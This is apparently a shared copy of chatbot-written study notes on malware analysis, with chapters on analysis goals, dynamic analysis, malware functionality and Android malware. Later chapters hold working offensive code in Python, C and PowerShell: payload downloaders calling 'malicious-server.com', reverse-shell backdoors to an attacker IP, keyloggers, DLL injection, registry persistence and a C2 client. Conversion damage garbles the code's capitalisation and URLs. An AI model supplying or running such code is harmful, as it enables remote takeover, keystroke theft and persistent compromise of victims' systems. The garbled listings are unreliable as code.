Malware

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 65

Here’s an in-depth resource for Chapter 1: Introduction to Malware

Analysis, covering all the required topics and additional related


material to enhance understanding.

1. Goals of Malware Analysis

The primary goals of malware analysis are:

1. Identify the Malware Type: Classify the malware (e.g., virus,


trojan, ransomware) to understand its behavior and potential
impact.

2. Determine Functionality: Understand what the malware does,


including its payload, propagation mechanisms, and
communication channels.

3. Extract Indicators of Compromise (IoCs): Identify artifacts


such as file hashes, IP addresses, and domain names to
enhance threat detection.

4. Support Incident Response: Provide actionable intelligence


for mitigating and removing malware from affected systems.
5. Develop Countermeasures: Create signatures, rules (e.g.,
YARA), or patches to defend against the malware.

6. Understand Attack Vectors: Analyze how the malware enters


systems to improve overall security posture.

2. Malware Analysis Techniques

Malware analysis can be divided into two primary categories:

Basic Static Analysis

Involves analyzing a malware sample without executing it.

Techniques:

File Examination: Check file metadata, format, and structure (e.g.,


using tools like PEiD for Portable Executable (PE) format).
String Analysis: Extract readable strings using tools like strings
(part of Sysinternals) to identify file paths, URLs, or commands.

Antivirus Scanning: Use tools like VirusTotal to determine if the


malware is already known.

File Hashing: Generate cryptographic hashes (e.g., MD5, SHA256)


to uniquely identify the sample.

Basic Dynamic Analysis

Involves executing malware in a controlled environment to


observe its behavior.

Techniques:

Sandbox Testing: Use isolated environments like Cuckoo Sandbox


to monitor file, network, and registry changes.

Process Monitoring: Observe processes created by malware using


tools like Process Explorer.
Network Traffic Analysis: Analyze communication using tools like
Wireshark to detect C2 (Command-and-Control) servers.

Event Monitoring: Track system events and changes with Sysmon


or Process Monitor.

3. Types of Malware

Malware is broadly categorized based on its behavior and


purpose. Common types include:

1. Viruses: Attach themselves to legitimate files and spread


when executed.

2. Worms: Self-replicating malware that spreads across


networks.

3. Trojans: Malware disguised as legitimate software, often used


to install backdoors.
4. Ransomware: Encrypts victim data and demands payment
for decryption.

5. Spyware: Secretly gathers user information and transmits it


to attackers.

6. Adware: Delivers unwanted advertisements, often bundled


with legitimate software.

7. Rootkits: Hide the presence of other malware or malicious


activities on a system.

8. Botnets: Network of infected devices controlled by attackers


for DDoS attacks or spam campaigns.

9. Keyloggers: Record user keystrokes to capture sensitive


information like passwords.
10. Fileless Malware: Resides in memory, avoiding detection
by traditional antivirus solutions.

4. General Rules for Malware Analysis

To ensure safety and accuracy during malware analysis, follow


these guidelines:

1. Work in an Isolated Environment:

Use virtual machines (VMs) with networking disabled or


configured for NAT.

Ensure the environment is completely sandboxed to avoid


accidental infection.

2. Use Non-Attributable Resources:

Access online resources via VPNs and anonymous browsing to


prevent attackers from tracing the analysis back to you.
3. Take Snapshots:

Before running any analysis, take snapshots of the VM or system


for easy rollback.

4. Monitor All Changes:

Use tools to monitor filesystem changes, network traffic, and


registry modifications (e.g., Filemon, RegShot).

5. Never Trust the Malware:

Assume the malware is aware of common analysis techniques and


may attempt to evade detection or execute harmful payloads.

6. Gather Intelligence First:


Perform static analysis before dynamic analysis to gather as much
information as possible without executing the malware.

7. Document Everything:

Maintain detailed notes about the malware’s behavior, observed


IoCs, and any hypotheses.

Related Topics

To deepen your understanding, study the following concepts:

1. Malware Indicators of Compromise (IoCs)

File-Based IoCs: Hashes, filenames, and file sizes.


Network-Based IoCs: IP addresses, domain names, and URLs used
for communication.

Behavior-Based IoCs: Registry changes, processes, and mutexes


created.

2. Sandboxing Tools

Cuckoo Sandbox: Open-source tool for analyzing malware


behavior.

Joe Sandbox: Advanced malware analysis tool for enterprise use.

3. Malware Life Cycle

Delivery: Malware is delivered via phishing emails, exploit kits, or


removable drives.

Execution: Payload is executed, often using social engineering or


system vulnerabilities.

Persistence: Establishes foothold (e.g., registry keys, scheduled


tasks).
Communication: Connects to C2 servers for further instructions.

Action: Executes its primary objective (e.g., data exfiltration,


encryption).

4. Legal and Ethical Considerations

Ensure compliance with laws regarding malware possession and


analysis.

Always obtain consent before testing or deploying tools on real


systems.

Tools to Practice

Static Analysis Tools: strings, Binwalk, Dependency Walker, PE


Explorer

Dynamic Analysis Tools: Wireshark, Process Monitor, Sysmon,


OllyDbg

Virtualization: VirtualBox, VMware


Online Platforms: VirusTotal, Hybrid Analysis

Would you like to proceed with the next chapter (Static Analysis)?

Here’s an in-depth resource for Chapter 3: Dynamic Analysis,


covering all syllabus topics and additional relevant material for a
comprehensive understanding.

Dynamic Analysis

Dynamic analysis involves executing malware in a controlled


environment to observe its behavior. The goal is to identify
changes in the system, network activity, and actions the malware
takes during runtime.

Topics Covered

1. Malware Sandbox
A sandbox is an isolated environment for safely executing and
analyzing malware.

Key Features:

Monitors file system, network, and registry changes.

Records processes, threads, and API calls.

Popular Tools:

Cuckoo Sandbox: Open-source automated malware analysis


system.

Joe Sandbox: Enterprise-level malware sandbox.

Any.Run: Interactive malware analysis platform.

2. Monitoring with Process Monitor

Process Monitor (ProcMon) is a tool for real-time monitoring of:


File system activity: Files created, deleted, or modified.

Registry activity: Keys created, modified, or deleted.

Processes and threads: New processes launched or terminated.

Use ProcMon filters to isolate malware-related activities.

3. Packet Sniffing with Wireshark

Wireshark captures and analyzes network traffic generated by


malware.

Steps:

1. Configure the analysis environment to route traffic through a


controlled network.

2. Use Wireshark to capture packets.

3. Analyze traffic for:


IP addresses or domains contacted (e.g., Command and Control
servers).

Protocols used (e.g., HTTP, DNS, TCP).

Indicators of data exfiltration.

Look for encrypted payloads or suspicious communication


patterns.

4. Kernel vs. User-Mode Debugging

Kernel Mode Debugging:

Focuses on analyzing malware with kernel-level privileges (e.g.,


rootkits).

Requires debugging tools like WinDbg.


User-Mode Debugging:

Analyzes malware running in the user space.

Tools: OllyDbg, x64dbg.

5. Debugging Tools

OllyDbg:

A lightweight debugger for Windows.

Useful for examining malware behavior and inspecting loaded


libraries.

X64dbg:

Modern open-source debugger for 32-bit and 64-bit Windows


applications.

Features include assembly-level debugging and scriptable


automation.
6. Breakpoints

Definition: Points where execution is paused to inspect the


malware’s behavior.

Types:

Software Breakpoints: Inserted using debugging tools.

Hardware Breakpoints: Use processor-specific mechanisms to


pause execution.

Use breakpoints to monitor critical functions like CreateFile,


WriteProcessMemory, or connect.

7. Tracing

Follow the execution flow of malware step by step to understand


its functionality.
Tracing helps detect:

Decryption routines.

Obfuscated code execution.

Network communication initiation.

8. Exception Handling

Malware often uses structured exception handling (SEH) to bypass


analysis.

Debuggers like OllyDbg allow you to analyze these exceptions to


understand anti-debugging techniques.

9. Analyzing Shellcode

Shellcode is injected into processes to execute malicious


payloads.

Steps:
1. Extract shellcode from memory dumps.

2. Analyze the shellcode using disassemblers like IDA Pro or


Ghidra.

3. Test execution in isolated environments.

10. Scriptable Debugging

Debuggers like x64dbg and WinDbg allow scripting for


automation.

Scripts can:

Automate repetitive analysis tasks.

Set conditional breakpoints.

Extract relevant information automatically.


11. Kernel Debugging with WinDbg

WinDbg is used for analyzing malware affecting the kernel.

Set up kernel debugging using:

Virtual machine configurations.

Serial or network debugging connections.

Focus on rootkits and low-level API monitoring.

12. Rootkits

Definition: Malware that hides itself and other malicious activities.

Analysis Techniques:

Monitor API hooks and kernel drivers.


Use tools like GMER or Rootkit Revealer to detect hidden
processes or files.

General Workflow for Dynamic Analysis

1. Set Up an Isolated Environment:

Use a VM with no internet access or configure it through a


controlled proxy.

Install analysis tools like ProcMon, Wireshark, and OllyDbg.

2. Initial Observation:

Execute the malware sample and monitor for immediate behavior:

Files created/modified.
Registry keys added or changed.

New processes launched.

3. Network Analysis:

Capture all network traffic using Wireshark.

Identify DNS queries, HTTP requests, or unusual traffic patterns.

4. Debugging:

Use OllyDbg or x64dbg to step through the code.

Identify malicious instructions or routines like decryption loops.

5. Behavior Documentation:
Record all observed behaviors, including IoCs like file hashes,
registry keys, and IP addresses.

Related Topics

1. Anti-Debugging Techniques

Malware often includes anti-debugging features to detect and


evade analysis.

Common Techniques:

API Detection: Using functions like IsDebuggerPresent or


CheckRemoteDebuggerPresent.

Timing Attacks: Delaying execution to detect analysis.

Exception Handling: Using custom SEH to disrupt debugging tools.


2. Anti-Sandbox Techniques

Malware can detect sandbox environments and alter its behavior.

Detection Mechanisms:

Checking for specific processes (e.g., Cuckoo, VBox).

Detecting virtual hardware (e.g., VirtualBox drivers).

Looking for abnormal CPU or memory configurations.

3. Behavior Analysis Tools

RegShot: Tracks registry changes.

Autoruns: Identifies persistence mechanisms.

Sysmon: Provides advanced event monitoring and logging.


4. Stealth and Persistence Mechanisms

Techniques:

Hiding files in obscure locations or system directories.

Using scheduled tasks or services for persistence.

Tools for detection:

Autoruns (for startup entries).

Process Explorer (for suspicious processes).

5. Memory Dump Analysis

Dump the malware process from memory using tools like Process
Hacker or Volatility.

Analyze the dump to extract injected code or decrypted data.


Tools for Practice

Process Monitoring: ProcMon, Process Explorer

Network Analysis: Wireshark, Fiddler

Debugging: OllyDbg, x64dbg, WinDbg

Sandboxing: Cuckoo Sandbox, Any.Run

Rootkit Detection: GMER, Rootkit Revealer

Let me know if you’d like me to proceed with Chapter 4: Malware


Functionality!

Here’s a comprehensive guide for Chapter 4: Malware


Functionality, including related topics, in-depth explanations, and
code snippets/programs for better understanding.
Malware Functionality

This chapter focuses on understanding the behavior, capabilities,


and techniques used by malware to achieve its goals, including
infiltration, persistence, privilege escalation, and communication
with attackers.

Topics Covered

1. Malware Behavior

Definition: Malware behavior refers to the actions performed by


malicious software when executed.

Common Actions:

Modifying system files and settings.

Stealing sensitive information.


Spreading to other systems (e.g., via networks, USB devices).

Evading detection by security tools.

2. Downloaders and Launchers

Downloaders:

Malware that downloads additional malicious payloads from


remote servers.

Example: Dropper programs.

Code Example (Python):

Import requests

# URL of the malicious payload


url = http://malicious-server.com/payload.exe
# Download and save the file
Response = requests.get(url, stream=True)
With open(“payload.exe”, “wb”) as file:
For chunk in response.iter_content(chunk_size=1024):
File.write(chunk)

# Simulate executing the payload


Import os
Os.system(“payload.exe”)

Launchers:

Used to execute malware components.

Launchers can be scripts, executables, or macros embedded in


documents.

3. Backdoors
Backdoors provide attackers with unauthorized remote access to
the infected system.

Common Backdoor Techniques:

Listening on specific ports for incoming commands.

Using reverse shell for outbound communication.

Code Example (Python – Reverse Shell):

Import socket
Import subprocess

# Attacker’s server IP and port


Attacker_ip = “192.168.1.100”
Attacker_port = 4444

# Connect to the attacker’s server


Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Sock.connect((attacker_ip, attacker_port))

# Redirect commands from the attacker to the shell


While True:
Command = sock.recv(1024).decode()
If command.lower() == “exit”:
Break
Output = subprocess.getoutput(command)
Sock.send(output.encode())
Sock.close()

4. Reverse Shells

Reverse shells allow attackers to control the infected system by


establishing a connection back to the attacker’s machine.

Use Cases:

Bypassing firewall rules.

Gaining remote control without being directly exposed.


5. Remote Access Trojans (RATs)

Definition: Malware providing complete remote control over an


infected system.

Capabilities:

Screen capture and keylogging.

File upload/download.

Microphone and camera access.

Example Tools:

njRAT, DarkComet.
6. Credential Stealers

Purpose: Extract credentials (passwords, tokens, cookies) from a


system.

Common Techniques:

Reading password stores (e.g., browser password managers).

Logging keystrokes.

Code Example (Python – Keylogger):

From pynput.keyboard import Key, Listener

Def on_press(key):
With open(“log.txt”, “a”) as log_file:
Log_file.write(f”{key}\n”)

# Start listening for keystrokes


With Listener(on_press=on_press) as listener:
Listener.join()
7. Persistence Mechanisms

Purpose: Ensure the malware remains on the system even after


reboots or user intervention.

Techniques:

Modifying registry keys (HKLM\Software\Microsoft\Windows\


CurrentVersion\Run).

Creating scheduled tasks or services.

Code Example (PowerShell – Registry Persistence):

# Add malware to startup


Set-ItemProperty -Path “HKLM:\Software\Microsoft\Windows\
CurrentVersion\Run” -Name “MalwareApp” -Value “C:\path\to\
malware.exe”
8. Privilege Escalation

Definition: Exploiting system vulnerabilities to gain higher


privileges (e.g., admin/root access).

Techniques:

Exploiting unpatched software.

Bypassing user access control (UAC).

9. Process Injection

Definition: Injecting malicious code into legitimate processes to


evade detection.

Techniques:

DLL injection.
Process hollowing.

Code Example (Python – DLL Injection Simulation):

Import ctypes

# Target process ID
Pid = 1234 # Replace with actual PID

# Path to the DLL


Dll_path = b”C:\\path\\to\\malicious.dll”

# Open the process


Process = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False,
pid)

# Allocate memory for the DLL


Dll_memory = ctypes.windll.kernel32.VirtualAllocEx(process,
None, len(dll_path), 0x3000, 0x40)

# Write the DLL path into the process’s memory


Ctypes.windll.kernel32.WriteProcessMemory(process, dll_memory,
dll_path, len(dll_path), None)
# Get the address of LoadLibraryA
Load_library =
ctypes.windll.kernel32.GetProcAddress(ctypes.windll.kernel32.Get
ModuleHandleA(b”kernel32.dll”), b”LoadLibraryA”)

# Create a remote thread to load the DLL


Ctypes.windll.kernel32.CreateRemoteThread(process, None, 0,
load_library, dll_memory, 0, None)

10. Botnets

Definition: A network of infected devices controlled by an


attacker.

Use Cases:

Distributed Denial of Service (DDoS) attacks.

Spamming and phishing campaigns.


11. Network Signatures

Network traffic patterns used to detect malware communication.

Examples:

Suspicious DNS requests.

Unusual HTTP headers or payloads.

General Workflow for Analyzing Malware Functionality

1. Behavior Observation:

Execute malware in a sandbox to observe file, network, and


registry changes.
2. Network Analysis:

Capture and analyze packets for IoCs (Indicators of Compromise)


using Wireshark.

3. Code Analysis:

Review the malware’s source code (if available) or disassemble it


to understand its functionality.

4. Document Findings:

Record all observed behaviors, including persistence mechanisms,


C2 communication, and payload delivery.
Tools for Practice

Static Analysis: PE Explorer, BinDiff

Dynamic Analysis: Cuckoo Sandbox, Any.Run

Network Analysis: Wireshark, Tcpdump

Process Monitoring: ProcMon, Process Hacker

Memory Forensics: Volatility, DumpIt

Let me know if you’d like notes for Chapter 5: Anti-Reverse


Engineering with similarly detailed explanations and programs!

Here’s a detailed resource for Chapter 4: Malware Functionality,


using C language to demonstrate relevant programs and
techniques. Each section includes examples in C for practical
understanding.
Malware Functionality in C

1. Downloaders

Malware often downloads additional payloads from a remote


server.

C Code Example: File Downloader

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

#pragma comment(lib, “wininet.lib”)

Int main() {
HINTERNET hInternet, hFile;
DWORD bytesRead;
Char buffer[1024];
FILE *outputFile;

// Initialize Internet connection


hInternet = InternetOpen(“MalwareDownloader”,
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf(“Internet connection failed.\n”);
return 1;
}

// Open the URL


hFile = InternetOpenUrl(hInternet,
http://malicious-server.com/payload.exe, NULL, 0,
INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
printf(“Failed to connect to URL.\n”);
InternetCloseHandle(hInternet);
Return 1;
}

// Save the file locally


outputFile = fopen(“payload.exe”, “wb”);
if (!outputFile) {
printf(“Failed to create output file.\n”);
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
Return 1;
}

// Read data from the server and write to the file


While (InternetReadFile(hFile, buffer, sizeof(buffer),
&bytesRead) && bytesRead > 0) {
Fwrite(buffer, 1, bytesRead, outputFile);
}

Fclose(outputFile);
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);

// Execute the downloaded payload


System(“payload.exe”);

Return 0;
}

2. Backdoors
A backdoor provides unauthorized remote access to the attacker.

C Code Example: Simple Backdoor

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, “ws2_32.lib”)

Int main() {
WSADATA wsa;
SOCKET s;
Struct sockaddr_in server;
Char *ip = “192.168.1.100”; // Attacker’s IP
Int port = 4444;

// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsa);

// Create socket
S = socket(AF_INET, SOCK_STREAM, 0);
If (s == INVALID_SOCKET) {
Printf(“Socket creation failed.\n”);
Return 1;
}

// Set up the server address


Server.sin_family = AF_INET;
Server.sin_addr.s_addr = inet_addr(ip);
Server.sin_port = htons(port);

// Connect to the attacker’s server


If (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) {
Printf(“Connection to attacker failed.\n”);
Return 1;
}

// Redirect commands from attacker to the system


Char buffer[1024];
While (1) {
Int received = recv(s, buffer, sizeof(buffer), 0);
If (received <= 0) break;
Buffer[received] = ‘\0’;
System(buffer); // Execute received commands
}
Closesocket(s);
WSACleanup();
Return 0;
}

3. Keyloggers

Keyloggers record keystrokes to steal sensitive information.

C Code Example: Basic Keylogger

#include <windows.h>
#include <stdio.h>

Int main() {
Char c;
FILE *file;

// Open file to save keystrokes


File = fopen(“keylog.txt”, “a+”);
If (!file) {
Printf(“Failed to open log file.\n”);
Return 1;
}

// Infinite loop to capture keys


While (1) {
For (c = 8; c <= 255; c++) {
If (GetAsyncKeyState(c) == -32767) {
// Log the key
Fprintf(file, “%c”, c);
Fflush(file);
}
}
}

Fclose(file);
Return 0;
}

4. Process Injection

Malware injects code into a legitimate process to evade detection.


C Code Example: DLL Injection

#include <windows.h>
#include <stdio.h>

Int main() {
DWORD pid = 1234; // Replace with target process ID
HANDLE hProcess;
LPVOID allocMem;
Char dllPath[] = “C:\\path\\to\\malicious.dll”;

// Open target process


hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
printf(“Failed to open process.\n”);
return 1;
}

// Allocate memory in the target process


allocMem = VirtualAllocEx(hProcess, NULL, sizeof(dllPath),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!allocMem) {
printf(“Failed to allocate memory.\n”);
CloseHandle(hProcess);
Return 1;
}

// Write the DLL path to the allocated memory


If (!WriteProcessMemory(hProcess, allocMem, dllPath,
sizeof(dllPath), NULL)) {
Printf(“Failed to write to process memory.\n”);
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
Return 1;
}

// Get the address of LoadLibraryA


LPVOID loadLibAddr =
(LPVOID)GetProcAddress(GetModuleHandle(“kernel32.dll”),
“LoadLibraryA”);

// Create a remote thread to load the DLL


If (!CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibAddr, allocMem, 0, NULL)) {
Printf(“Failed to create remote thread.\n”);
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
Return 1;
}

Printf(“DLL injected successfully.\n”);

CloseHandle(hProcess);
Return 0;
}

5. Persistence

Malware ensures its survival by adding itself to startup or creating


scheduled tasks.

C Code Example: Registry Persistence

#include <windows.h>
#include <stdio.h>

Int main() {
HKEY hKey;
Const char *path = “C:\\path\\to\\malware.exe”;
Const char *regPath = “Software\\Microsoft\\Windows\\
CurrentVersion\\Run”;

// Open registry key


If (RegOpenKey(HKEY_CURRENT_USER, regPath, &hKey) !=
ERROR_SUCCESS) {
Printf(“Failed to open registry key.\n”);
Return 1;
}

// Set malware to run on startup


If (RegSetValueEx(hKey, “MalwareApp”, 0, REG_SZ, (BYTE
*)path, strlen(path) + 1) != ERROR_SUCCESS) {
Printf(“Failed to set registry value.\n”);
RegCloseKey(hKey);
Return 1;
}

RegCloseKey(hKey);
Printf(“Persistence added to registry.\n”);
Return 0;
}
Analysis Workflow

1. Setup Analysis Environment:

Use tools like ProcMon, Wireshark, and Process Hacker.

Execute malware in isolated VMs.

2. Behavior Observation:

Monitor file, registry, and network activity.

Identify persistence mechanisms and network communication.

3. Dynamic Analysis Tools:

Debug malware using OllyDbg, x64dbg, or WinDbg.


4. Documentation:

Record IoCs: File paths, registry keys, IP addresses, and domains.

Let me know if you’d like to proceed with Chapter 5: Anti-Reverse


Engineering!

Here’s a detailed resource for Chapter 6: Android Malware,


covering related concepts, techniques, and examples of Android
malware functionality. We’ll include relevant C-based programs
where possible and explain Android-specific implementations.

Chapter 6: Android Malware

Topics Covered
1. Overview of Android Malware

2. Android Malware Characteristics

3. Common Android Malware Types

4. Case Studies

Plankton

DroidKungFu

AnserverBot

5. Android Security Mechanisms

6. Static and Dynamic Analysis of Android Malware


1. Overview of Android Malware

Definition: Malware targeting Android devices to exploit


vulnerabilities, gain unauthorized access, steal data, or
compromise security.

Goals:

Data theft (credentials, SMS messages, call logs, etc.).

Remote control via command-and-control (C2) servers.

Monetization through ad fraud or ransomware.

2. Android Malware Characteristics


Permission Abuse: Requesting unnecessary permissions to access
sensitive data.

Stealth Mechanisms: Using obfuscation, encryption, and hiding in


legitimate apps.

Persistence: Reinstalls itself or adds itself to startup processes.

Payloads: SMS spam, spyware, ransomware, or cryptocurrency


miners.

3. Common Android Malware Types

Trojanized Apps: Legitimate apps modified with malicious code.

Spyware: Monitors user activity and transmits data.

Ransomware: Encrypts files or locks devices, demanding payment


for access.

Adware: Generates revenue through fraudulent ad clicks.


4. Case Studies

Plankton

Behavior: Injected into legitimate apps to avoid detection and


spread through app stores. Communicates with remote servers for
malicious updates.

Code Example: Dynamic Loading of Malicious Code

#include <jni.h>
#include <android/log.h>
#include <dlfcn.h>

#define LOG_TAG “Plankton_Malware”


#define LOG(...) __android_log_print(ANDROID_LOG_DEBUG,
LOG_TAG, __VA_ARGS__)

Void dynamic_load(const char *library) {


Void *handle = dlopen(library, RTLD_LAZY);
If (!handle) {
LOG(“Failed to load library: %s”, dlerror());
Return;
}
Dlclose(handle);
}

JNIEXPORT void JNICALL


Java_com_malware_Plankton_execute(JNIEnv *env, jobject obj) {
LOG(“Loading malicious library...”);
Dynamic_load(“/data/local/tmp/malicious.so”);
}

DroidKungFu

Behavior: Uses privilege escalation exploits to gain root access


and hide malicious activities.

Code Example: Privilege Escalation

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

Int main() {
Setuid(0); // Attempt to gain root privileges
System(“id > /data/local/tmp/root_check.txt”);
Printf(“Privilege escalation attempt executed.\n”);
Return 0;
}

AnserverBot

Behavior: Advanced botnet targeting Android devices. Downloads


and executes additional payloads from remote servers.

Code Example: Command-and-Control Communication

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
Void connect_to_c2(const char *url) {
CURL *curl = curl_easy_init();
If (curl) {
Curl_easy_setopt(curl, CURLOPT_URL, url);
Curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
Curl_easy_perform(curl);
Curl_easy_cleanup(curl);
}
}

Int main() {
Const char *c2_server = http://malicious-server.com/command;
Printf(“Connecting to C2 server...\n”);
Connect_to_c2(c2_server);
Return 0;
}

5. Android Security Mechanisms

Sandboxing: Apps run in isolated environments to prevent


interference.
Permissions: User must explicitly grant sensitive permissions.

Google Play Protect: Built-in malware protection for Android


devices.

SELinux: Enforces access control policies at the kernel level.

6. Static and Dynamic Analysis of Android Malware

Static Analysis

Analyze the APK file without executing it.

Tools:

APKTool: Decompile and inspect the app’s structure.

JD-GUI: View decompiled Java code.


MobSF: Automated static analysis tool.

Workflow:

1. Extract and inspect the AndroidManifest.xml file for


suspicious permissions.

2. Check .dex files for obfuscated or suspicious code.

3. Identify hardcoded IP addresses, URLs, or encryption keys.

Dynamic Analysis

Execute the app in a controlled environment to observe runtime


behavior.
Tools:

Genymotion or Android Emulator: For sandboxed environments.

Wireshark: Monitor network traffic.

Frida: Instrumentation tool for API hooking.

Key Observations:

Network traffic (e.g., communication with C2 servers).

File or registry modifications.

Runtime permissions requests.

Sample Android Malware Analysis

Dynamic Behavior Script (Frida):


Java.perform(function () {
Var Activity = Java.use(“android.app.Activity”);
Activity.onResume.implementation = function () {
Console.log(“[*] App Resumed”);
This.onResume();
};

Var HttpURLConnection =
Java.use(“java.net.HttpURLConnection”);
HttpURLConnection.getInputStream.implementation = function
() {
Console.log(“[*] Intercepted HTTP connection: “ +
this.getURL());
Return this.getInputStream();
};
});

Tools for Analysis

1. Static Analysis Tools:

APKTool, JADX, MobSF, dex2jar.


2. Dynamic Analysis Tools:

Frida, Burp Suite, Wireshark, Genymotion.

3. Additional Tools:

Drozer: Comprehensive Android security assessment tool.

Androguard: Python library for analyzing APK files.

Best Practices for Prevention

1. Avoid downloading apps from third-party stores.


2. Regularly update Android OS and applications.

3. Use reputable antivirus software on Android devices.

4. Monitor app permissions during installation.

Let me know if you need additional examples, case studies, or


tools explained further!

You might also like